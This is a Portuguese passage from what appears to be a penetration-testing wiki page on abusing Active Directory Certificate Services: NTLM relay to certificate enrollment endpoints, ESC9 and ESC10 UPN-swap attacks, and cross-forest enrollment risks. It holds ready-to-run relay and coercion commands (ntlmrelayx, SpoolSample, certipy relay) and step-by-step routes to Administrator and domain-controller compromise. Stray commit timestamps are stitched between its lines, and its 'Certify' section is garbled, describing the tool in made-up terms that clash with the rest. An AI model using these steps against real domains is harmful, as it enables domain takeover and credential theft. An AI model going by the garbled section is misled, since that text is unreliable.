No entanto, abusar de um ataque de relay NTLM para obter um certificado do usuário resolve essas limitações, pois a sessão durará enquanto o certificado for válido e o certificado pode ser usado para usar serviços que **exigem assinatura NTLM**. Para saber como usar um certificado roubado, consulte:
2022-09-01 21:06:19 +00:00
2022-09-03 00:24:33 +00:00
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
2022-09-01 21:06:19 +00:00
{% endcontent-ref %}
Outra limitação dos ataques de relay NTLM é que eles **exigem que uma conta de vítima se autentique em uma máquina controlada pelo atacante**. Um atacante pode esperar ou tentar **forçar** isso:
2022-09-01 21:06:19 +00:00
{% content-ref url="../printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### **Abuso**
2022-09-02 13:32:02 +00:00
O comando `cas` do **Certify** pode enumerar **pontos finais HTTP habilitados do AD CS**:
2022-09-01 21:06:19 +00:00
```
Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
2023-08-29 18:57:50 +00:00
As Autoridades Certificadoras Empresariais também **armazenam os pontos de extremidade CES** em seus objetos AD na propriedade `msPKI-Enrollment-Servers`. O **Certutil.exe** e o **PSPKI** podem analisar e listar esses pontos de extremidade:
2022-09-01 21:06:19 +00:00
```
certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
```
<figure><img src="../../../.gitbook/assets/image (2) (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
```powershell
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
2023-08-29 18:57:50 +00:00
#### Abuso com Certify
2023-08-29 18:57:50 +00:00
O Certify é uma ferramenta de gerenciamento de certificados que pode ser abusada para obter privilégios de domínio em um ambiente do Active Directory. O Certify permite que os usuários solicitem e gerenciem certificados digitais, incluindo certificados de autenticação de cliente (CAC) e certificados de autenticação de servidor (SAC). Esses certificados podem ser usados para autenticar usuários e serviços em um domínio do Active Directory.
2023-08-29 18:57:50 +00:00
Ao abusar do Certify, um invasor pode solicitar um certificado de autenticação de servidor (SAC) para um serviço específico, como o serviço de diretório do Active Directory. O invasor pode então usar esse certificado para autenticar-se como um serviço legítimo no domínio do Active Directory, obtendo assim privilégios de domínio.
2022-09-02 13:32:02 +00:00
Para abusar do Certify, o invasor precisa ter acesso a uma conta de usuário com permissões para solicitar certificados. Isso pode ser alcançado por meio de técnicas de escalonamento de privilégios ou por meio de comprometimento de credenciais de usuário com privilégios suficientes.
2023-08-29 18:57:50 +00:00
Uma vez que o invasor tenha acesso a uma conta com permissões para solicitar certificados, ele pode usar o Certify para solicitar um certificado de autenticação de servidor (SAC) para o serviço de diretório do Active Directory. O invasor pode então instalar o certificado no serviço de diretório e usá-lo para autenticar-se como um serviço legítimo no domínio do Active Directory.
Ao autenticar-se como um serviço legítimo, o invasor pode obter privilégios de domínio, permitindo-lhe realizar atividades maliciosas, como acessar dados confidenciais, modificar configurações do domínio e comprometer outros sistemas e contas de usuário.
Para mitigar esse tipo de abuso, é importante implementar controles de acesso adequados para limitar quem pode solicitar certificados e monitorar de perto as atividades relacionadas ao Certify. Além disso, é essencial manter as credenciais de usuário seguras e implementar práticas de segurança robustas para evitar comprometimentos de conta.
2022-09-02 15:27:38 +00:00
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080
## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
```
#### Abuso com Certipy
2023-08-29 18:57:50 +00:00
Por padrão, o Certipy solicitará um certificado com base no modelo `Machine` ou `User`, dependendo se o nome da conta transmitida termina com `$`. É possível especificar outro modelo com o parâmetro `-template`.
2023-08-29 18:57:50 +00:00
Podemos então usar uma técnica como o PetitPotam para forçar a autenticação. Para controladores de domínio, devemos especificar `-template DomainController`.
2022-09-02 13:32:02 +00:00
```
$ certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
2023-06-06 18:56:34 +00:00
## Extensão de Segurança Desativada - ESC9 <a href="#5485" id="5485"></a>
2022-09-01 21:06:19 +00:00
2023-06-06 18:56:34 +00:00
### Explicação
2022-09-02 14:27:43 +00:00
ESC9 refere-se ao novo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) do **`msPKI-Enrollment-Flag`**. Se essa flag estiver definida em um modelo de certificado, a nova extensão de segurança **`szOID_NTDS_CA_SECURITY_EXT`** não será incorporada. ESC9 só é útil quando `StrongCertificateBindingEnforcement` está definido como `1` (padrão), pois uma configuração de mapeamento de certificado mais fraca para Kerberos ou Schannel pode ser abusada como ESC10 - sem ESC9 - pois os requisitos serão os mesmos.
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
* `StrongCertificateBindingEnforcement` não definido como `2` (padrão: `1`) ou `CertificateMappingMethods` contém a flag `UPN`
* Certificado contém a flag `CT_FLAG_NO_SECURITY_EXTENSION` no valor `msPKI-Enrollment-Flag`
* Certificado especifica qualquer EKU de autenticação do cliente
* `GenericWrite` em qualquer conta A para comprometer qualquer conta B
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
### Abuso
2022-09-02 14:27:43 +00:00
Neste caso, `John@corp.local` tem `GenericWrite` sobre `Jane@corp.local` e queremos comprometer `Administrator@corp.local`. `Jane@corp.local` tem permissão para se inscrever no modelo de certificado `ESC9`, que especifica a flag `CT_FLAG_NO_SECURITY_EXTENSION` no valor `msPKI-Enrollment-Flag`.
2022-09-02 14:27:43 +00:00
Primeiro, obtemos o hash de `Jane` usando, por exemplo, Shadow Credentials (usando nosso `GenericWrite`).
2022-09-02 14:27:43 +00:00
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (22).png" alt=""><figcaption></figcaption></figure>
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
Em seguida, alteramos o `userPrincipalName` de `Jane` para ser `Administrator`. Observe que estamos deixando de fora a parte `@corp.local`.
2022-09-02 14:27:43 +00:00
<figure><img src="../../../.gitbook/assets/image (2) (2) (3).png" alt=""><figcaption></figcaption></figure>
2022-09-02 14:27:43 +00:00
Isso não viola as restrições, pois o `userPrincipalName` do usuário `Administrator` é `Administrator@corp.local` e não `Administrator`.
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
Agora, solicitamos o modelo de certificado vulnerável `ESC9`. Devemos solicitar o certificado como `Jane`.
2022-09-02 14:27:43 +00:00
2022-09-30 10:43:59 +00:00
<figure><img src="../../../.gitbook/assets/image (16) (2).png" alt=""><figcaption></figcaption></figure>
2022-09-02 14:27:43 +00:00
Observe que o `userPrincipalName` no certificado é `Administrator` e que o certificado emitido não contém um "object SID".
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
Em seguida, alteramos novamente o `userPrincipalName` de `Jane` para ser algo diferente, como seu `userPrincipalName` original `Jane@corp.local`.
2022-09-02 14:27:43 +00:00
<figure><img src="../../../.gitbook/assets/image (24) (2).png" alt=""><figcaption></figcaption></figure>
2022-09-02 14:27:43 +00:00
Agora, se tentarmos autenticar com o certificado, receberemos o hash NT do usuário `Administrator@corp.local`. Você precisará adicionar `-domain <domínio>` à linha de comando, pois nenhum domínio é especificado no certificado.
2022-09-02 14:27:43 +00:00
<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
## Mapeamentos de Certificado Fracos - ESC10
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
### Explicação
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
ESC10 refere-se a dois valores de chave de registro no controlador de domínio.
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` `CertificateMappingMethods`. Valor padrão `0x18` (`0x8 | 0x10`), anteriormente `0x1F`.
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` `StrongCertificateBindingEnforcement`. Valor padrão `1`, anteriormente `0`.
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
**Caso 1**
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
`StrongCertificateBindingEnforcement` definido como `0`
2022-09-02 14:27:43 +00:00
2023-06-06 18:56:34 +00:00
**Caso 2**
2022-09-02 14:27:43 +00:00
`CertificateMappingMethods` contém a flag `UPN` (`0x4`)
### Abuso - Caso 1
* `StrongCertificateBindingEnforcement` definido como `0`
* `GenericWrite` em qualquer conta A para comprometer qualquer conta B
Neste caso, `John@corp.local` tem `GenericWrite` sobre `Jane@corp.local` e queremos comprometer `Administrator@corp.local`. As etapas de abuso são quase idênticas ao ESC9, exceto que qualquer modelo de certificado pode ser usado.
Primeiro, obtemos o hash de `Jane` usando, por exemplo, Shadow Credentials (usando nosso `GenericWrite`).
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (19).png" alt=""><figcaption></figcaption></figure>
Em seguida, alteramos o `userPrincipalName` de `Jane` para ser `Administrator`. Observe que estamos deixando de fora a parte `@corp.local`.
<figure><img src="../../../.gitbook/assets/image (5) (3).png" alt=""><figcaption></figcaption></figure>
Isso não viola as restrições, pois o `userPrincipalName` do usuário `Administrator` é `Administrator@corp.local` e não `Administrator`.
Agora, solicitamos qualquer certificado que permita autenticação do cliente, por exemplo, o modelo padrão `User`. Devemos solicitar o certificado como `Jane`.
<figure><img src="../../../.gitbook/assets/image (14) (2) (1).png" alt=""><figcaption></figcaption></figure>
Observe que o `userPrincipalName` no certificado é `Administrator`.
Em seguida, alteramos novamente o `userPrincipalName` de `Jane` para ser algo diferente, como seu `userPrincipalName` original `Jane@corp.local`.
<figure><img src="../../../.gitbook/assets/image (4) (1) (3).png" alt=""><figcaption></figcaption></figure>
Agora, se tentarmos autenticar com o certificado, receberemos o hash NT do usuário `Administrator@corp.local`. Você precisará adicionar `-domain <domínio>` à linha de comando, pois nenhum domínio é especificado no certificado.
<figure><img src="../../../.gitbook/assets/image (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
### Abuso - Caso 2
* `CertificateMappingMethods` contém a flag `UPN` (`0x4`)
* `GenericWrite` em qualquer conta A para comprometer qualquer conta B sem uma propriedade `userPrincipalName` (contas de máquina e administrador de domínio incorporado `Administrator`)
Neste caso, `John@corp.local` tem `GenericWrite` sobre `Jane@corp.local` e queremos comprometer o controlador de domínio `DC$@corp.local`.
Primeiro, obtemos o hash de `Jane` usando, por exemplo, Shadow Credentials (usando nosso `GenericWrite`).
<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png" alt=""><figcaption></figcaption></figure>
Em seguida, alteramos o `userPrincipalName` de `Jane` para ser `DC$@corp.local`.
<figure><img src="../../../.gitbook/assets/image (18) (2) (1).png" alt=""><figcaption></figcaption></figure>
Isso não viola as restrições, pois a conta de computador `DC$` não possui `userPrincipalName`.
Agora, solicitamos qualquer certificado que permita autenticação do cliente, por exemplo, o modelo padrão `User`. Devemos solicitar o certificado como `Jane`.
<figure><img src="../../../.gitbook/assets/image (20) (2).png" alt=""><figcaption></figcaption></figure>
Em seguida, alteramos o `userPrincipalName` de `Jane` para ser algo diferente, como seu `userPrincipalName` original (`Jane@corp.local`).
<figure><img src="../../../.gitbook/assets/image (9) (1) (3).png" alt=""><figcaption></figcaption></figure>
Agora, como essa chave de registro se aplica ao Schannel, devemos usar o certificado para autenticação via Schannel. É aqui que a nova opção `-ldap-shell` do Certipy entra em jogo.
Se tentarmos autenticar com o certificado e `-ldap-shell`, perceberemos que estamos autenticados como `u:CORP\DC$`. Esta é uma string enviada pelo servidor.
<figure><img src="../../../.gitbook/assets/image (21) (2) (1).png" alt=""><figcaption></figcaption></figure>
Um dos comandos disponíveis para o shell LDAP é `set_rbcd`, que definirá a Delegação Baseada em Recursos Restrita (RBCD) no alvo. Portanto, poderíamos realizar um ataque RBCD para comprometer o controlador de domínio.
<figure><img src="../../../.gitbook/assets/image (7) (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
Alternativamente, também podemos comprometer qualquer conta de usuário em que não haja `userPrincipalName` definido ou em que o `userPrincipalName` não corresponda ao `sAMAccountName` dessa conta. A partir dos meus próprios testes, o administrador de domínio padrão `Administrator@corp.local` não possui um `userPrincipalName` definido por padrão, e essa conta deve ter mais privilégios no LDAP do que os controladores de domínio.
## Comprometendo Florestas com Certificados
### Quebrando Confianças de CAs em Florestas de Confiança
A configuração para **inscrição entre florestas** é relativamente simples. Os administradores publicam o **certificado da CA raiz** da floresta de recursos **nas florestas de contas** e adicionam os certificados da **CA empresarial** da floresta de recursos aos contêineres **`NTAuthCertificates`** e AIA **em cada floresta de contas**. Para deixar claro, isso significa que a **CA** na floresta de recursos tem **controle completo** sobre todas as **outras florestas para as quais gerencia a PKI**. Se os atacantes **comprometerem essa CA**, eles podem **forjar certificados para todos os usuários nas florestas de recursos e de contas**, quebrando a fronteira de segurança da floresta.
### Princípios Estrangeiros com Privilégios de Inscrição
Outra coisa com a qual as organizações precisam ter cuidado em ambientes de várias florestas são as CAs empresariais **publicando modelos de certificados** que concedem **Usuários Autenticados ou princípios estrangeiros** (usuários/grupos externos à floresta à qual a CA empresarial pertence) **privilégios de inscrição e edição**.\
Quando uma conta **se autentica em uma confiança**, o AD adiciona o **SID de Usuários Autenticados** ao token do usuário autenticado. Portanto, se um domínio tiver uma CA empresarial com um modelo que **concede privilégios de inscrição a Usuários Autenticados**, um usuário em uma floresta diferente poderá **se inscrever no modelo**. Da mesma forma, se um modelo conceder explicitamente **privilégios de inscrição a um princípio estrangeiro**, então um **relacionamento de controle de acesso entre florestas é criado**, permitindo que um princípio em uma floresta **se inscreva em um modelo em outra floresta**.
Em última análise, esses dois cenários **aumentam a superfície de ataque** de uma floresta para outra. Dependendo das configurações do modelo de certificado, um atacante pode abusar disso para obter privilégios adicionais em um domínio estrangeiro.
## Referências
* Todas as informações desta página foram retiradas de [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>